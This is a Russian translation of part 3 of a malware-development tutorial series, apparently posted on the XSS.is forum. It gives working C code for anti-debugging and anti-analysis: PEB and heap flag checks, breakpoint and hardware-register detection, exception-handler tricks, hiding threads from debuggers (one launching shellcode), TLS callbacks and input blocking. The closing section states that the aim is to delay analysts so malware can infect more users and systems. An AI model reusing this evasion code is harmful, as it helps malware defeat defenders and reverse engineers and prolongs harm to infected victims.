Статья Разработка вредоносного программного обеспечения. Часть 3.

!!!Дисклеймер!!!

Вся информация предоставленная в этой статье носит ознакомительный характер. Администрация сайта и переводчик данной статьи не несет ответственности за любые последствия и ущерб от ее прочтения. Вся информация предоставлена для того, чтобы указать на возможные ошибки у вендоров антивирусного программного обеспечения.

Введение

Это третий пост из серии туториалов, посвященной разработке вредоносного программного обеспечения. В этой серии мы рассмотрим и попытаемся реализовать несколько методов, используемых вредоносными приложениями для выполнения кода, скрытия от защиты и сохранения в системе.

В предыдущей части серии мы обсудили методы обнаружения песочниц, виртуальных машин и автоматического анализа.

На этот раз давайте посмотрим, как приложение может обнаружить, что оно отлаживается или проверяется аналитиком.

Примечание: мы предполагаем, что используется 64-битная среда выполнения - некоторые примеры кода могут не работать для приложений x86 (например, из-за жестко закодированной длины 8-байтового указателя или различной компоновки данных в PE и PEB). Кроме того, в примерах кода ниже проверки ошибок опущены.

Обнаружение и затруднение ручного анализа

Существуют определенные характеристики, указывающие на то, что приложение вручную проверяется аналитиком вредоносного программного обеспечения. Чтобы защитить нашу вредоносную программу, мы можем проверить эти признаки, а также усложнить аналитику задачу обратного анализа кода.

Обнаружение отладчиков

Первое, что нужно сделать, это проверить, выполняется ли приложение с подключенным отладчиком. Есть много методов для обнаружения отладки - мы обсудим некоторые из них. Конечно, аналитик может защитить каждую технику, однако некоторые из них более сложнее, чем другие.

Запрос информации

Можно просто "спросить" операционную систему, подключен ли отладчик. Функция IsDebuggerPresent в основном проверяет флаг BeingDebugged в блоке PEB:

C:

```
if (IsDebuggerPresent()) return;

// same check
PPEB pPEB = (PPEB)__readgsqword(0x60);
if (pPEB->BeingDebugged) return;
```

Еще одна похожая функция - CheckRemoteDebuggerPresent, которая вызывает функцию NtQueryInformationProcess:

C:

```
BOOL isDebuggerPresent = FALSE;
CheckRemoteDebuggerPresent(GetCurrentProcess(), &isDebuggerPresent);
if (isDebuggerPresent) return;

// таже проверка
typedef NTSTATUS(WINAPI *PNtQueryInformationProcess)(IN  HANDLE, IN  PROCESSINFOCLASS, OUT
PVOID, IN ULONG, OUT PULONG);
PNtQueryInformationProcess pNtQueryInformationProcess =
(PNtQueryInformationProcess)GetProcAddress(GetModuleHandleW(L"ntdll.dll"),
"NtQueryInformationProcess");
DWORD64 isDebuggerPresent2 = 0;
pNtQueryInformationProcess(GetCurrentProcess(), ProcessDebugPort, &isDebuggerPresent2, sizeof
DWORD64, NULL);
if (isDebuggerPresent2) return;
```

Флаги и артефакты

Есть некоторые конкретные флаги, установленные в адресном пространстве процесса при его отладке. NtGlobalFlag - это набор флагов, расположенных в PEB, которые могут указывать на присутствие отладчика.

Примечание: это не обнаруживает отладчик Visual Studio (msvsmon).

C:

```
#define FLG_HEAP_ENABLE_TAIL_CHECK   0x10
#define FLG_HEAP_ENABLE_FREE_CHECK   0x20
#define FLG_HEAP_VALIDATE_PARAMETERS 0x40
#define NT_GLOBAL_FLAG_DEBUGGED (FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK |
FLG_HEAP_VALIDATE_PARAMETERS)
PDWORD pNtGlobalFlag = (PDWORD)(__readgsqword(0x60) + 0xBC);
if ((*pNtGlobalFlag) & NT_GLOBAL_FLAG_DEBUGGED) return false;
```

Куча процесса содержит два интересных флага Flags и ForceFlags, на которые влияет отладчик. Когда процесс отлажен, эти флаги будут иметь определенные значения. Расположение кучи, а также расположение флагов (относительно кучи) зависят от системы и архитектуры.

Примечание: это не обнаруживает отладчик Visual Studio (msvsmon).

C:

```
PDWORD pHeapFlags = (PDWORD)((PBYTE)GetProcessHeap() + 0x70);
PDWORD pHeapForceFlags = (PDWORD)((PBYTE)GetProcessHeap() + 0x74);
if (*pHeapFlags ^ HEAP_GROWABLE || *pHeapForceFlags != 0) return false;
```

Упомянутая выше функция NtQueryInformationProcess может использоваться для проверки других артефактов: флагов ProcessDebugObjectHandle и ProcessDebugFlags.

C:

```
#define ProcessDebugObjectHandle 0x1E
#define ProcessDebugFlags 0x1F
HANDLE hProcessDebugObject = NULL;
DWORD processDebugFlags = 0;
pNtQueryInformationProcess(GetCurrentProcess(), (PROCESSINFOCLASS)ProcessDebugObjectHandle,
&hProcessDebugObject, sizeof HANDLE, NULL);
pNtQueryInformationProcess(GetCurrentProcess(), (PROCESSINFOCLASS)ProcessDebugFlags,
&processDebugFlags, sizeof DWORD, NULL);
if (hProcessDebugObject != NULL || processDebugFlags == 0) return;
```

Обнаружение точек останова путем проверки кода на наличие изменений

Когда программная точка останова помещается отладчиком в функцию, в код функции вводится инструкция прерывания (опкод INT 3 - 0xCC). Мы можем сканировать код функции во время выполнения, чтобы проверить, присутствует ли опкод 0xCC, сравнивая каждый байт с этим значением или, лучше, вычисляя контрольную сумму байтов функции и сравнивая ее с правильным значением (рассчитанным для "действительной" функции). Однако нам нужно знать, где

функция начинается и где она заканчивается. Мы можем использовать функцию-заглушку, расположенную после нашей CrucialFunction. Также нам нужно убедиться, что компоновщик не связывает объектные файлы и библиотеки. #pragma auto_inline (off) используется для предотвращения компиляции функций как встроенных.

C:

```
#pragma comment(linker, "/INCREMENTAL:YES")

DWORD CalculateFunctionChecksum(PUCHAR functionStart, PUCHAR functionEnd)
{
    DWORD checksum = 0;
    while(functionStart < functionEnd)
    {
        checksum += *functionStart;
        functionStart++;
    }
    return checksum;
}
#pragma auto_inline(off)
VOID CrucialFunction()
{
    int x = 0;
    x += 2;
}
VOID AfterCrucialFunction()
{
};
#pragma auto_inline(on)

void main()
{
    DWORD originalChecksum = 3429;
    DWORD checksum = CalculateFunctionChecksum((PUCHAR)CrucialFunction,
(PUCHAR)AfterCrucialFunction);
    if (checksum != originalChecksum) return;

    wprintf_s(L"Now hacking...\n");
}
```

Аппаратные точки останова могут быть обнаружены путем изучения регистров отладки DR0-DR3:

C:

```
CONTEXT context = {};
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext(GetCurrentThread(), &context);
if (context.Dr0 || context.Dr1 || context.Dr2 || context.Dr3) return;
```

Обнаружение точек останова путем проверки прав доступа к страницам памяти

Проверка прав доступа к страницам памяти может помочь нам определить места программных точек останова отладчиком. Сначала нам нужно найти количество страниц в рабочем наборе процесса и выделить достаточно большой буфер для хранения всей информации. Затем мы перечисляем страницы памяти и проверяем их разрешения - нас интересуют только исполняемые страницы. Для каждой исполняемой страницы мы проверяем, используется ли она совместно с каким-либо другим процессом (этого не должно быть, если кто-то не изменил память, например, поместив в код инструкцию INT 3)

C:

```
BOOL debugged = false;

PSAPI_WORKING_SET_INFORMATION workingSetInfo;
QueryWorkingSet(GetCurrentProcess(), &workingSetInfo, sizeof workingSetInfo);
DWORD requiredSize = sizeof PSAPI_WORKING_SET_INFORMATION * (workingSetInfo.NumberOfEntries +
20);
PPSAPI_WORKING_SET_INFORMATION pWorkingSetInfo =
(PPSAPI_WORKING_SET_INFORMATION)VirtualAlloc(0, requiredSize, MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE);
BOOL s = QueryWorkingSet(GetCurrentProcess(), pWorkingSetInfo, requiredSize);
for (int i = 0; i < pWorkingSetInfo->NumberOfEntries; i++)
{
    PVOID physicalAddress = (PVOID)(pWorkingSetInfo->WorkingSetInfo[i].VirtualPage * 4096);
    MEMORY_BASIC_INFORMATION memoryInfo;
    VirtualQuery((PVOID)physicalAddress, &memoryInfo, sizeof memoryInfo);
    if (memoryInfo.Protect & (PAGE_EXECUTE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE |
PAGE_EXECUTE_WRITECOPY))
    {
        if ((pWorkingSetInfo->WorkingSetInfo[i].Shared == 0) || (pWorkingSetInfo-
>WorkingSetInfo[i].ShareCount == 0))
        {
            debugged = true;
            break;
        }
    }
}

if (debugged) return;

wprintf_s(L"Now hacking...\n");
```

Обработчики исключений

Как правило, исключения обрабатываются в первую очередь отладчиком. Если бы мы могли добавить новые или изменить подпрограммы обработки исключений (для выполнения произвольного кода), мы смогли бы обнаружить присутствие отладчика, поскольку наш код будет выполняться только в том случае, если нет отладчика, который сначала перехватит исключение.

Структурированная обработка исключений (SEH) - это механизм Windows для обработки исключений. Когда возникает исключение, и никакое другое средство не смогло его обработать, оно передается в SEH. Управление функциями SEH во время выполнения может использоваться для обнаружения отладчика.

В среде x86 обработчики исключений присутствуют в виде связанного списка, а адрес первого элемента сохраняется в начале TEB. Мы можем добавить пользовательский обработчик и связать его с началом списка. Пользовательский обработчик

исключений может указывать, что приложение не отлаживается.

Однако в среде x64 операции SEH выполняются в режиме ядра (это защищает данные SEH от перезаписи в стеке посредством атаки переполнения буфера), поэтому вышеупомянутая методика, как правило, неприменима. Однако, если ни один из обработчиков не может обработать исключение, исключение передается в функцию kernel32.UnhandledExceptionFilter (которая является последним средством обработки исключения).

Можно установить пользовательскую функцию фильтра, которая будет вызываться из UnhandledExceptionFilter, используя функцию SetUnhandledExceptionFilter. Интересно, что наш пользовательский фильтр необработанных исключений будет вызываться, только если приложение не отлаживается. Это происходит потому, что UnhandledExceptionFilter проверяет наличие отладчика, используя функцию pNtQueryInformationProcess с флагом ProcessDebugPort (так же, как в методике, описанной ранее).

Таким образом, мы можем зарегистрировать произвольную функцию фильтра исключений, которая будет указывать на отсутствие отладчика.

C:

```
BOOL isDebugged = TRUE;

LONG WINAPI CustomUnhandledExceptionFilter(PEXCEPTION_POINTERS pExceptionPointers)
{
    isDebugged = FALSE;
    return EXCEPTION_CONTINUE_EXECUTION;
}

void main()
{
    PTOP_LEVEL_EXCEPTION_FILTER previousUnhandledExceptionFilter =
SetUnhandledExceptionFilter(CustomUnhandledExceptionFilter);
    RaiseException(EXCEPTION_FLT_DIVIDE_BY_ZERO, 0, 0, NULL);
    SetUnhandledExceptionFilter(previousUnhandledExceptionFilter);
    if (isDebugged) return;

    wprintf_s(L"Now hacking...\n");
}
```

Создание прерываний

Мы можем создать прерывание точки останова в нашем коде, которое будет интерпретироваться отладчиком как программная точка останова (как это было установлено пользователем). Давайте создадим простой обработчик SEH:

C:

```
BOOL isDebugged = TRUE;
__try
{
    DebugBreak();
}
__except (GetExceptionCode() == EXCEPTION_BREAKPOINT ? EXCEPTION_EXECUTE_HANDLER :
EXCEPTION_CONTINUE_SEARCH)
{
    isDebugged = FALSE;
}
if (isDebugged) return;
```

Это позволило обнаружить отладчик VS (msvsmon) и WinDbg, но не x64dbg. Похоже, что последний передает исключения точек останова в SEH.

Использование функции RaiseException вместо DebugBreak вызвало некоторое неопределенное поведение. Отладчики путали поток кода и создавали циклы исключений EXCEPTION_ILLEGAL_INSTRUCTION, переходя по неверным адресам.Это может быть полезно для нас, чтобы сделать анализ приложения сложнее.
C:

```
BOOL isDebugged = TRUE;
__try
{
    RaiseException(EXCEPTION_BREAKPOINT, 0, 0, NULL);
}
__except (GetExceptionCode() == EXCEPTION_BREAKPOINT ? EXCEPTION_EXECUTE_HANDLER :
EXCEPTION_CONTINUE_SEARCH)
{
    isDebugged = FALSE;
}
if (isDebugged) return;
```

Другой способ увидеть, как отладчик обрабатывает такое прерывание точки останова, - зарегистрировать векторный обработчик исключений.

Векторный Обработчик Исключений является расширением SEH. Векторные обработчики исключений не заменяют SEH - они работают параллельно, однако VEH имеет приоритет над SEH - VEH-обработчики вызываются перед обработчиками SEH.

В любом случае, VEH может вызываться или не вызываться после того, как отладчик обработал (или нет) исключение точки останова.

Используя функцию DebugBreak, я смог воспроизвести ситуацию, аналогичную ситуации с SEH (VEH выполнялся только при отсутствии конкретного отладчика). Это позволило обнаружить отладчик VS (msvsmon) и WinDbg, но не x64dbg.

C:

```
BOOL isDebugged = TRUE;

LONG WINAPI CustomVectoredExceptionHandler(PEXCEPTION_POINTERS pExceptionPointers)
{
    if (pExceptionPointers->ExceptionRecord->ExceptionCode == EXCEPTION_BREAKPOINT)
    {
        pExceptionPointers->ContextRecord->Rip++;
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH; // pass on other exceptions
}

void main()
{
    AddVectoredExceptionHandler(1, CustomVectoredExceptionHandler);
    DebugBreak();
    RemoveVectoredExceptionHandler(CustomVectoredExceptionHandler);
    if (isDebugged) return;

    wprintf_s(L"Now hacking...\n");
}
```

Опять же, функция RaiseException вызвала некоторое неопределенное поведение - зацикливались исключения EXCEPTION_ILLEGAL_INSTRUCTION. Давайте использовать это, чтобы просто помешать анализу:

C:

```
LONG WINAPI CustomVectoredExceptionHandler(PEXCEPTION_POINTERS pExceptionPointers)
{
    // process all exceptions, including EXCEPTION_ILLEGAL_INSTRUCTION
    printf("xD");
    return EXCEPTION_CONTINUE_EXECUTION;
}

void main()
{
    AddVectoredExceptionHandler(1, CustomVectoredExceptionHandler);
    RaiseException(EXCEPTION_BREAKPOINT, 0, 0, NULL);
    RemoveVectoredExceptionHandler(CustomVectoredExceptionHandler);

    wprintf_s(L"Now hacking...\n");
}
```

Само-отладка

Если процесс отлаживается, невозможно подключить к нему другой отладчик. Чтобы проверить, отлажено ли наше приложение, используя этот факт, нам нужно запустить другой процесс, который попытается подключиться к приложению.

C:

```
if (!DebugActiveProcess(pid))
{
    HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pid);
    TerminateProcess(hProcess, 0);
}
```

Обнаружение анализа в целом

Перечисляя ресурсы, такие как запущенные процессы, загруженные библиотеки и так далее, мы можем обнаружить аналитика, пытающегося реконструировать наше приложение. Смотри предыдущую статью (раздел Имя файла, каталога, процесса и окна) для получения более подробной информации.

Время исполнения

Проверка времени, описанная в предыдущей статье (как часть уклонения от песочницы), также может быть использована для обнаружения, если приложение анализируется или отлаживается. Мы можем проверить системное время до и после определенного блока инструкций и предположить, что измеренное прошедшее время

должно быть меньше некоторого значения. Если приложение анализируется, вполне вероятно, что в этом блоке инструкций установлены точки останова. Если это так, время выполнения будет превышать предполагаемый период.

C:

```
int t1 = GetTickCount64();
Hack(); // should take less than 5 seconds
int t2 = GetTickCount64();
if (((t2 - t1) / 1000) > 5) return;

wprintf_s(L"Now hacking more...\n");
```

Функция GetTickCount64 может подвергаться перехвату функций. Чтобы справиться с этим, мы можем использовать методы, описанные в предыдущей статье (смотри - Задержка выполнения и перехват функций).

Усложнение жизни аналитика

Прячемся от отладчика

Мы можем использовать встроенную нативную Windows, чтобы скрыть поток от отладчика - поток прекратит отправку событий. Функция, которую мы используем для скрытия потока (NtSetInformationThread), может быть перехвачена - чтобы убедиться, что мы можем вызвать ее с некоторыми фиктивными параметрами и проверить состояние возврата (не следует возвращать STATUS_SUCCESS для неправильных параметров).

C:

```
typedef NTSTATUS(WINAPI *NtSetInformationThread)(IN HANDLE, IN THREADINFOCLASS, IN PVOID, IN
ULONG);
NtSetInformationThread pNtSetInformationThread =
(NtSetInformationThread)GetProcAddress(GetModuleHandleW(L"ntdll.dll"),
"NtSetInformationThread");
THREADINFOCLASS ThreadHideFromDebugger = (THREADINFOCLASS)0x11;
pNtSetInformationThread(GetCurrentThread(), ThreadHideFromDebugger, NULL, 0);
```

Конечно, это не влияет на события, которые отправляются до скрытия потока.

Точно так же мы можем создать новый поток, который будет скрыт от отладчика, используя функцию NtCreateThreadEx. Новый поток не будет отправлять события отладчику.

C:

```
typedef NTSTATUS(WINAPI *NtCreateThreadEx)(OUT PHANDLE, IN ACCESS_MASK, IN PVOID, IN HANDLE,
IN PTHREAD_START_ROUTINE, IN PVOID, IN ULONG, IN SIZE_T, IN SIZE_T, IN SIZE_T, OUT PVOID);
NtCreateThreadEx pNtCreateThreadEx =
(NtCreateThreadEx)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtCreateThreadEx");
#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 0x4
HANDLE hThread;
pNtCreateThreadEx(&hThread, 0x1FFFFF, NULL, GetCurrentProcess(),
(PTHREAD_START_ROUTINE)shellcode_exec, NULL, THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER, NULL,
NULL, NULL, NULL);
WaitForSingleObject(hThread, INFINITE);
```

Создание нового потока само по себе является способом усложнить анализ приложения. Код в новом потоке выполняется свободно, если точка останова не установлена в соответствующем месте.

Путь исполнения

Мы можем усложнить анализ приложения, запутав путь выполнения кода. Упомянутые ранее обработчики исключений являются хорошим и неочевидным местом для выполнения вредоносного кода. Мы также можем использовать функции Windows API, которые используют обратные вызовы (помните EnumDisplayMonitors?). Существует много функций, использующих обратные вызовы, например, расширенные процедуры чтения и записи файлов:

C:

```
VOID CALLBACK MyCallback(DWORD errorCode, DWORD bytesTransferred, POVERLAPPED pOverlapped)
{
    MessageBoxW(NULL, L"Catch me if you can", L"xD", 0);
}

void main()
{
    HANDLE hFile = CreateFileW(L"C:\\Windows\\win.ini", GENERIC_READ, 0, NULL, OPEN_EXISTING,
FILE_FLAG_OVERLAPPED, NULL);
    PVOID fileBuffer = VirtualAlloc(0, 64, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    OVERLAPPED overlapped = {0};
    ReadFileEx(hFile, fileBuffer, 32, &overlapped, MyCallback);

    WaitForSingleObjectEx(hFile, INFINITE, true); // wait for the asynchronous operation to
finish
    wprintf_s(L"Already pwned...\n");
}
```

Обратные вызовы TLS

Обратные вызовы TLS (локальное хранилище потоков) - это механизм Windows, который позволяет выполнять произвольный код в процессе, а также запускать и завершать потоки. Он может использоваться для запуска некоторого анти-отладочного кода перед основной функцией (или другой точкой входа). Однако большинство отладчиков автоматически устанавливают точку останова перед главной функцией(«Системная точка останова» - ntdll.LdrpDoDebuggerBreak) или даже в начале обратного вызова. В любом случае реализация обратного вызова требует определенных директив компоновщика:

C:

```
void NTAPI TlsCallback(PVOID DllHandle, DWORD dwReason, PVOID)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        if (CheckIfDebugged()) exit(0);
    }
}

#pragma comment (linker, "/INCLUDE:_tls_used")
#pragma comment (linker, "/INCLUDE:tls_callback_function")

#pragma const_seg(".CRT$XLA")
EXTERN_C const PIMAGE_TLS_CALLBACK tls_callback_function = TlsCallback;
#pragma const_seg()

void main()
{
    wprintf_s(L"Now hacking...\n");
}
```

В старых версиях Windows обратные вызовы TLS могли использоваться для обнаружения новых потоков, созданных в процессе отладчиком. Начиная с Windows 7, DebugActiveProcess вызывает функцию NtCreateThreadEx с флагом, который устанавливает флаг SkipThreadAttach в блоке среды нового потока, что, в свою очередь, предотвращает выполнение обратного вызова TLS.

Блокировка ввода пользователя

Мы можем заблокировать события клавиатуры и мыши. Это работает только в контексте высокой целостности (то есть должен быть "запущен от имени администратора"). Блок может быть обойден безопасной последовательностью (CTRL

+ ALT + DEL), которая захватывается ядром.

Code:

```
BlockInput(true);
```

Резюме

Вот и все - мы готовы реализовать некоторые методы обнаружения отладчика в нашем коде.
Конечно, любой трюк может быть отключен опытным реверсером. Мы не можем сделать отладку нашего приложения невозможной, но мы можем сделать ее более сложной. И в этом суть - чем дольше мы разбираемся в нашем коде и извлекаем IoC, тем больше времени у нас чтобы заражать пользователей и системы.

Источник: https://0xpat.github.io/Malware_development_part_3
Автор перевода: yashechka
Переведено специально для портала XSS.is (c)